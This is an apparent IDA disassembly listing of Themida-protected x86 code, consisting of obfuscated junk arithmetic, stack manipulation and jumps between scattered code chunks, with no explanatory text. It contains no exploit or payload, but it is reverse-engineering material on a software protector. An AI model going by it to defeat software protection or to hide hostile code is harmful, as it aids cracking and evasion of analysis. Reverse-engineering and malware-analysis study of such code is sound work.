; ---------------------------------------------------------------------------


loc_59DD7B:				; CODE XREF: Themida_:0059A498j
		mov	eax, esp
		jmp	loc_593C5B
; ---------------------------------------------------------------------------


loc_59DD82:				; CODE XREF: Themida_:0059F4CFj
		mov	[esp], ecx
		jmp	loc_5A3857
; ---------------------------------------------------------------------------


loc_59DD8A:				; CODE XREF: Themida_:00592B39j
		pop	ebx
		add	edi, 7DD413E4h
		add	edi, ebp
		sub	edi, 7DD413E4h
		pop	ebp
		jmp	loc_5A320F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DD9F:				; CODE XREF: sub_59390B+A051j
		or	eax, eax
		jz	loc_5A378E
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp+0]
		mov	ecx, [esp+4+var_4]
		jmp	loc_596198
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59DDB5:				; CODE XREF: Themida_:00590C0Aj
		mov	[esp], edi
		mov	edi, 1
		add	esi, edi
		pop	edi
		not	esi
		xchg	ecx, esi
		not	ecx
		jmp	loc_59A60D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_59DDCB:				; CODE XREF: sub_599AE1+B388j
		push	eax
		push	edx
		push	esi
		push	1DC555C6h
		pop	esi
		or	esi, 6E4660D7h
		push	ecx
		mov	ecx, 1C34409Ah
		add	ecx, 6393353Dh
		xor	esi, ecx
		pop	ecx
		push	esi
		sub	[esp+20h+var_20], 2BEA67A4h
		pop	edx
		jmp	loc_5A26BC
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CF8


loc_59DDF7:				; CODE XREF: sub_5A4CF8+Aj
		mov	[esp+8+var_8], esp
		jmp	loc_595AE2
; END OF FUNCTION CHUNK	FOR sub_5A4CF8
; ---------------------------------------------------------------------------


loc_59DDFF:				; CODE XREF: Themida_:005968B7j
		or	bl, 71h
		push	edx
		mov	dl, 5Eh
		shl	dl, 7
		shr	dl, 8
		jmp	loc_59D4FD
; ---------------------------------------------------------------------------


loc_59DE10:				; CODE XREF: Themida_:00594CCDj
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5949B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DE23:				; CODE XREF: sub_59390B+8E24j
		pop	eax
		jmp	loc_59A0DE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5995FC


loc_59DE29:				; CODE XREF: sub_5995FC-830Bj
		pop	ecx
		shr	bl, 8
		and	bl, 0D4h
		and	bl, 86h
		or	bl, 7Bh
		add	bl, 0EBh
		jmp	loc_5967C7
; END OF FUNCTION CHUNK	FOR sub_5995FC
; ---------------------------------------------------------------------------


loc_59DE3E:				; CODE XREF: Themida_:00599919j
		neg	eax
		sub	eax, 762E0484h
		shr	eax, 6
		sub	eax, 3B7B4180h
		sub	eax, 80C9BC13h
		mov	ebp, eax
		pop	eax
		jmp	loc_59D543
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_59DE5A:				; CODE XREF: sub_5A51EA-14BCj
		push	edx
		push	ebx
		mov	bh, 0ECh
		mov	dh, 0AEh
		add	dh, bh
		pop	ebx
		xchg	al, dh
		not	al
		xchg	al, dh
		push	ax
		push	ebx
		mov	bh, cl
		jmp	loc_590E5A
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_59DE73:				; CODE XREF: Themida_:00599F1Bj
		add	eax, esi
		jmp	loc_591CBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DE7A:				; CODE XREF: sub_59390B+1403j
		xor	cl, bh
		jmp	loc_5A56DF
; ---------------------------------------------------------------------------


loc_59DE81:				; CODE XREF: sub_59390B+C4Aj
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebx
		mov	ebx, 44C32C33h
		push	ebp
		mov	ebp, 140C5206h
		shl	ebp, 4
		add	ebp, 0E2E8114Eh
		sub	ebx, ebp
		pop	ebp
		xor	ebx, 3E0143D5h
		push	esi
		mov	esi, 201F22AEh
		dec	esi
		not	esi
		shl	esi, 6
		add	esi, 584D6431h
		or	esi, 4BB33FF8h
		jmp	loc_59CB8F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595941


loc_59DEC8:				; CODE XREF: sub_595941-3B7Fj
		xchg	ebx, [esp+4+var_4]
		pop	esp
		push	4EBAh
		mov	[esp+4+var_4], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5940BD
; END OF FUNCTION CHUNK	FOR sub_595941
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59DEE1:				; CODE XREF: sub_59FCCB+366Ej
		add	bl, 0BAh
		push	ecx
		jmp	loc_599C8D
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DEEA:				; CODE XREF: sub_59390B+EA64j
		push	60DEh
		mov	[esp+10h+var_10], esi
		push	[esp+10h+var_C]
		mov	esi, [esp+14h+var_14]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+18h+var_18]
		jmp	loc_593E20
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_59DF10:				; CODE XREF: sub_59FCCB-C5B3j
		sub	bl, ah
		pop	eax
		push	13E6h
		mov	[esp+8+var_8], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59B000
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59DF29:				; CODE XREF: sub_59CFD4+31A7j
		mov	ebx, edx
		pop	edx
		xor	ebx, 0D6E0E55h
		xor	eax, ebx
		jmp	loc_5A421C
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59DF39:				; CODE XREF: sub_59E918-DDE0j
		add	eax, ebx
		sub	eax, 7F304BE5h
		push	edi
		mov	edi, 165E543Ah
		sub	edi, 0DB182C4Bh
		sub	eax, edi
		pop	edi
		mov	ebx, [esp+0Ch+var_C]
		add	esp, 4
		push	ebx
		mov	ebx, 2
		push	52F5h
		mov	[esp+10h+var_10], edx
		jmp	loc_5A20F7
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_59DF68:				; CODE XREF: Themida_:005A595Bj
		shr	eax, 2
		push	edi
		mov	edi, 0C0104085h
		add	eax, edi
		jmp	loc_59C9F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_59DF78:				; CODE XREF: sub_59F8C2-B2B5j
		pop	esi
		neg	ebx
		jmp	loc_590BB5
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------


loc_59DF80:				; CODE XREF: Themida_:00597403j
		mov	esi, [esp]
		add	esp, 4
		push	0
		sub	[esp], ebp
		pop	ebp
		xor	ebp, 27E42ABh
		push	edi
		jmp	loc_596CFA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59DF9E:				; CODE XREF: sub_59390B+113B5j
		add	ebx, ecx
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		xor	ebx, [esp+14h+var_14]
		xor	[esp+14h+var_14], ebx
		xor	ebx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59DFC1:				; CODE XREF: sub_59390B+41F4j
		pop	esp
		or	ebx, 486F28B0h
		shl	ebx, 3
		neg	ebx
		push	edi
		mov	edi, 31EA24DAh
		xchg	ebp, edi
		jmp	sub_5A5219
; ---------------------------------------------------------------------------


loc_59DFDA:				; CODE XREF: sub_59390B+5AB1j
		pop	ecx
		sub	ebp, 4
		xchg	ebp, [esp-0Ch+arg_4]
		jmp	loc_5A5700
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59DFE6:				; CODE XREF: Themida_:0059BB86j
		mov	[esp], edx
		mov	edx, 20256A5h
		sub	ecx, edx
		pop	edx
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 4984290Ah
		xchg	eax, edi
		jmp	loc_5A182F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E000:				; CODE XREF: sub_59390B+93C0j
		add	esi, ebx
		sub	esi, 1F9214Eh
		pop	ebx
		add	esi, 4
		jmp	loc_59C7C9
; ---------------------------------------------------------------------------


loc_59E014:				; CODE XREF: sub_59390B+BB43j
		add	esp, 2
		add	al, dl
		push	[esp-0Ah+arg_0+2]
		jmp	loc_5A4B71
; ---------------------------------------------------------------------------


loc_59E024:				; CODE XREF: sub_59390B-2764j
		add	esp, 4
		jmp	loc_5A13FD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964B7


loc_59E02C:				; CODE XREF: sub_5964B7-3756j
		mov	eax, 65C12497h
		neg	eax
		add	eax, 65C1249Bh
		add	ebx, 69277F78h
		add	ebx, eax
		sub	ebx, 69277F78h
		pop	eax
		jmp	loc_5A2D6E
; END OF FUNCTION CHUNK	FOR sub_5964B7
; ---------------------------------------------------------------------------


loc_59E04C:				; CODE XREF: Themida_:00592BA2j
		dec	esi
		xor	esi, 71C9010Bh
		sub	esi, 93EF007Ah
		sub	edx, 30563FA0h
		add	edx, esi
		jmp	loc_5A11D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FC5


loc_59E066:				; CODE XREF: sub_591FC5+A34Cj
		add	esp, 2
		push	2119h
		jmp	loc_59DA0E
; END OF FUNCTION CHUNK	FOR sub_591FC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F294


loc_59E076:				; CODE XREF: sub_59F294-D2D4j
		push	eax
		mov	eax, esp
		push	edi
		mov	edi, 4
		add	eax, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		sub	eax, 4
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		jmp	loc_5A087B
; END OF FUNCTION CHUNK	FOR sub_59F294
; ---------------------------------------------------------------------------


loc_59E09E:				; CODE XREF: Themida_:0059B5F2j
		sub	ebx, 6DEA6E3Dh
		sub	ebx, 0D4F1966h
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		inc	dword ptr [esp]
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E0C3:				; CODE XREF: sub_59390B-224j
		pop	ecx
		jmp	loc_596561
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59E0C9:				; CODE XREF: sub_5936EC-F85j
		add	esp, 4
		jmp	sub_59931D
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E0D1:				; CODE XREF: sub_59390B+52C2j
		pop	ebx
		jmp	loc_5932E3
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_59E0D7:				; CODE XREF: sub_590BDF+A45Bj
		add	esi, 0A58D9B1Eh
		add	edx, esi
		push	[esp+4+var_4]
		pop	esi
		add	esp, 4
		push	edx
		jmp	loc_5A2D65
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_59E0EF:				; CODE XREF: sub_59A75E-9954j
		push	edx
		jmp	loc_594DB0
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_599735
; ---------------------------------------------------------------------------


loc_59E103:				; CODE XREF: Themida_:005A3F56j
		mov	esi, [esp]
		add	esp, 4
		push	esi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_599109
; ---------------------------------------------------------------------------


loc_59E115:				; CODE XREF: Themida_:0059CF89j
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		and	[esp], eax
		pushf
		jmp	loc_597ED6
; ---------------------------------------------------------------------------


loc_59E12A:				; CODE XREF: Themida_:00591541j
		sub	edx, 74B152A4h
		jmp	loc_5A130B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E135:				; CODE XREF: sub_59390B+506Bj
		sub	edx, 0FFFFFFFFh
		jmp	loc_59F8FE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59E140:				; CODE XREF: Themida_:00595EC7j
		shl	ebx, 5
		jmp	loc_591256
; ---------------------------------------------------------------------------


loc_59E148:				; CODE XREF: Themida_:00592C90j
		pop	esp
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 22DB6328h
		jmp	loc_59721F
; ---------------------------------------------------------------------------


loc_59E159:				; CODE XREF: Themida_:0059FA3Cj
		pop	ecx
		sub	eax, 63533064h
		jmp	loc_5A022F
; ---------------------------------------------------------------------------


loc_59E164:				; CODE XREF: Themida_:00595E84j
		neg	eax
		push	ecx
		jmp	loc_59BD76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1E76


loc_59E16C:				; CODE XREF: sub_5A1E76+6j
		mov	esi, esp
		add	esi, 4
		push	ebx
		mov	ebx, 1AE811F4h
		neg	ebx
		neg	ebx
		not	ebx
		add	ebx, 1
		xor	ebx, 0E517EE08h
		sub	esi, ebx
		pop	ebx
		xchg	esi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], eax
		push	ebx
		mov	ebx, 53DB77FEh
		push	edx
		mov	edx, 53DB77FAh
		sub	ebx, edx
		pop	edx
		mov	eax, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	esi, 49BE7CA5h
		add	esi, 18623B74h
		add	esi, eax
		jmp	loc_59FE73
; END OF FUNCTION CHUNK	FOR sub_5A1E76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E1C2:				; CODE XREF: sub_59390B+6537j
		shl	dl, 4
		add	dl, 14h
		jmp	loc_5924AD
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_59E1CD:				; CODE XREF: sub_5936EC-1CE9j
		push	48D9h
		mov	[esp+10h+var_10], ebp
		push	0A7F277Ah
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_59E833
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_59E1E5:				; CODE XREF: Themida_:005A1EB7j
		push	edx
		jmp	loc_598073
; ---------------------------------------------------------------------------


loc_59E1EB:				; CODE XREF: Themida_:005A34E9j
		xor	eax, 7ECB99BBh
		jmp	loc_59277B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E1F5:				; CODE XREF: sub_59390B+23A8j
		not	ecx
		jmp	loc_5A59AA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59E1FC:				; CODE XREF: Themida_:0059CC77j
		add	ecx, esi
		pop	esi
		jmp	loc_59511A
; ---------------------------------------------------------------------------


loc_59E204:				; CODE XREF: Themida_:005A0716j
		sub	dword ptr [esp+4], 0D9E6E0Ch
		add	[esp+4], ebp
		add	dword ptr [esp+4], 0D9E6E0Ch
		add	dword ptr [esp+4], 40942B4h
		mov	ebp, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_596C16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594DA8


loc_59E237:				; CODE XREF: sub_594DA8+53F0j
		add	esi, ebx
		jmp	loc_5A2495
; END OF FUNCTION CHUNK	FOR sub_594DA8
; ---------------------------------------------------------------------------


loc_59E23E:				; CODE XREF: Themida_:00596BA0j
		add	esp, 4
		push	27F9h
		mov	[esp], ecx
		push	edi
		mov	edi, 2
		jmp	loc_59E44F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E257:				; CODE XREF: sub_59390B+5923j
		mov	dx, word ptr [esp+4+var_4]
		add	esp, 2
		sub	al, dh
		add	al, 0A2h
		pop	edx
		sub	esp, 4
		mov	[esp+0], ecx
		jmp	loc_59FB4B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59E271:				; CODE XREF: Themida_:0059453Ej
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_5A1CCB
; ---------------------------------------------------------------------------


loc_59E28F:				; CODE XREF: Themida_:0059D674j
		mov	ebx, 7F32E4Fh
		add	esi, ebx
		jmp	loc_59DB93
; ---------------------------------------------------------------------------


loc_59E29B:				; CODE XREF: Themida_:0059B408j
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59E2A0:				; CODE XREF: Themida_:005A587Bj
		add	edx, esi
		jmp	loc_591E2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E2A7:				; CODE XREF: sub_59390B+130Bj
		shl	esi, 1
		neg	esi
		add	esi, 5EE2DFFh
		xor	edx, esi
		jmp	loc_593255
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A958


loc_59E2B8:				; CODE XREF: sub_59A958+61F2j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], ecx
		push	4
		pop	ecx
		add	ebx, ecx
		pop	ecx
		jmp	loc_593F3B
; END OF FUNCTION CHUNK	FOR sub_59A958
; ---------------------------------------------------------------------------


loc_59E2D9:				; CODE XREF: Themida_:005A071Ej
		pop	dword ptr [esp]
		pop	esp
		xor	[esp], eax
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59E2E5:				; CODE XREF: Themida_:00598671j
		push	ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59E2ED:				; CODE XREF: Themida_:005A4A38j
		xchg	esi, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_59E2FC:				; CODE XREF: Themida_:00599E25j
		push	dword ptr [esp]
		jmp	loc_595C15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_59E304:				; CODE XREF: sub_591FE1+C9A1j
		push	eax
		jmp	loc_5938BF
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------


loc_59E30A:				; CODE XREF: Themida_:005A4638j
		add	esi, ebp
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_59A769
; ---------------------------------------------------------------------------


loc_59E31B:				; CODE XREF: Themida_:005A5762j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5A2620
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E32A:				; CODE XREF: sub_59390B+8BC8j
		neg	edx
		jmp	loc_5A4C50
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59E331:				; CODE XREF: Themida_:0059D3AAj
		mov	dl, bh
		jmp	loc_59EA1B
; ---------------------------------------------------------------------------


loc_59E338:				; CODE XREF: Themida_:00598146j
		pop	ebp
		push	edx
		mov	edx, 0E051967h
		or	edx, 4ED065E9h
		shl	edx, 6
		neg	edx
		jmp	loc_59FDFB
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_59D9D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E38A:				; CODE XREF: sub_59390B+15B2j
		push	edx
		mov	edx, 79C035Bh
		jmp	sub_5964AF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59E395:				; CODE XREF: Themida_:005A4814j
		and	ecx, 1D857D13h
		jmp	loc_591CFC
; ---------------------------------------------------------------------------


loc_59E3A0:				; CODE XREF: Themida_:00598E73j
		xchg	esi, [esp]
		jmp	loc_59B052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59E3A8:				; CODE XREF: sub_59CFD4-704Dj
		push	esp
		pop	eax
		add	eax, 4
		push	edx
		jmp	loc_5A5850
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_59E3B5:				; CODE XREF: sub_591FE1+62A9j
		push	edx
		mov	edx, 4
		jmp	loc_5936B8
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_59E3C0:				; CODE XREF: sub_59E918+5465j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5A1FAF
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_59E3D4:				; CODE XREF: Themida_:005A3CFDj
		mov	ax, [esp]
		jmp	loc_5A30DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_59E3DD:				; CODE XREF: sub_59CFD4-A8EEj
		sub	eax, 2DBA5A7Ah
		jmp	loc_595F7A
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4CDD


loc_59E3E7:				; CODE XREF: sub_5A4CDD-BD02j
		push	23BC2158h
		mov	edx, [esp+18h+var_18]
		sub	esp, 4
		mov	[esp+0], esi
		mov	esi, esp
		add	esi, 4
		push	ebx
		jmp	loc_592087
; END OF FUNCTION CHUNK	FOR sub_5A4CDD
; ---------------------------------------------------------------------------


loc_59E406:				; CODE XREF: Themida_:005977CDj
		add	ecx, 39611DDEh
		add	ecx, ebx
		sub	ecx, 39611DDEh
		jmp	loc_5A59E9
; ---------------------------------------------------------------------------


loc_59E419:				; CODE XREF: Themida_:005961D0j
		neg	ecx
		shr	ecx, 7
		inc	ecx
		sub	ecx, 10D2593Ch
		jmp	loc_596D95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595949


loc_59E42A:				; CODE XREF: sub_595949-35Fj
		pop	ebx
		mov	ebx, edi
		pop	edi
		add	ebp, ebx
		jmp	loc_592125
; END OF FUNCTION CHUNK	FOR sub_595949
; ---------------------------------------------------------------------------


loc_59E435:				; CODE XREF: Themida_:0059627Dj
		mov	esp, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_5A56A0
; ---------------------------------------------------------------------------


loc_59E440:				; CODE XREF: Themida_:00595C84j
		pop	esi
		shr	ebp, 6
		xor	ebp, 1B122E22h
		jmp	loc_5A066D
; ---------------------------------------------------------------------------


loc_59E44F:				; CODE XREF: Themida_:0059E252j
		mov	ecx, edi
		jmp	loc_595D46
; ---------------------------------------------------------------------------


loc_59E456:				; CODE XREF: Themida_:005976E5j
		xor	edi, 7B6433DFh
		add	eax, edi
		pop	edi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], esp
		push	68A9h
		jmp	loc_5A33BD
; ---------------------------------------------------------------------------


loc_59E473:				; CODE XREF: Themida_:0059F43Fj
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5963F0
; ---------------------------------------------------------------------------


loc_59E48C:				; CODE XREF: Themida_:00597C19j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	edx, 0D8331D0h
		mov	eax, [esp]
		add	esp, 4
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, eax
		pop	small word ptr [eax]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_59E4BF:				; CODE XREF: sub_59F8C2+2j
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		push	edi
		mov	edi, 39FE146Dh
		jmp	loc_59DA84
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E4DA:				; CODE XREF: sub_59390B+E090j
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_598586
; ---------------------------------------------------------------------------


loc_59E4E8:				; CODE XREF: sub_59390B+7258j
		add	eax, 2
		xor	eax, [esp-8+arg_0]
		xor	[esp-8+arg_0], eax
		xor	eax, [esp-8+arg_0]
		pop	esp
		mov	ax, word ptr [esp-0Ch+arg_4]
		push	3945h
		mov	[esp-8+arg_0], esi
		sub	esp, 4
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		jmp	loc_59899B
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_59E510	proc near		; CODE XREF: sub_59390B+6E98j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		mov	ebx, 4
		add	eax, ebx
		mov	ebx, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		pop	esp
		xchg	eax, [esp+4+var_4]
		pop	esp
		dec	dword ptr [esp+0]
		pushf
		jmp	loc_590A9B
sub_59E510	endp

; ---------------------------------------------------------------------------


loc_59E540:				; CODE XREF: Themida_:0059C3E8j
		pop	ebp
		not	edx
		push	edi
		mov	edi, 0F4C2EB35h
		jmp	loc_599BCD
; ---------------------------------------------------------------------------


loc_59E54E:				; CODE XREF: Themida_:005960ABj
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A2374
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591745


loc_59E55F:				; CODE XREF: sub_591745+8F6Cj
		xor	edx, ecx
		pop	ecx
		jmp	loc_591FB2
; END OF FUNCTION CHUNK	FOR sub_591745
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_59E567:				; CODE XREF: sub_59333E+8908j
		pop	ebx
		inc	ecx
		sub	esp, 4
		mov	[esp+0Ch+var_C], edx
		jmp	loc_594A6A
; END OF FUNCTION CHUNK	FOR sub_59333E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E577:				; CODE XREF: sub_59390B-104j
		pop	edx
		jmp	loc_5A3308
; ---------------------------------------------------------------------------


loc_59E57D:				; CODE XREF: sub_59390B+37B2j
		or	eax, 6E70444Fh
		shl	eax, 3
		xor	eax, 5559320Ah
		add	ebx, eax
		jmp	loc_597AAA
; ---------------------------------------------------------------------------


loc_59E591:				; CODE XREF: sub_59390B+A0Aj
		add	edx, ecx
		mov	ecx, [esp+18h+var_18]
		add	esp, 4
		xchg	edx, [esp+14h+var_14]
		mov	esp, [esp+14h+var_14]
		xor	eax, esi
		push	[esp+14h+var_14]
		pop	esi
		add	esp, 4
		jmp	loc_59FE06
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59E5B0:				; CODE XREF: Themida_:0059F319j
		not	ah
		push	ebx
		push	edx
		push	ecx
		mov	ch, ah
		push	eax
		mov	al, ch
		mov	dl, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_590B3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59E5CA:				; CODE XREF: sub_59390B+D759j
		or	bl, 88h
		shl	bl, 4
		push	ecx
		mov	cl, 0A3h
		xor	bl, cl
		pop	ecx
		mov	dl, bl
		pop	ebx
		neg	dl
		add	dl, 0FFh
		jmp	loc_59AF56
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59E5E3:				; CODE XREF: Themida_:005A54FEj
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_592D02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A905


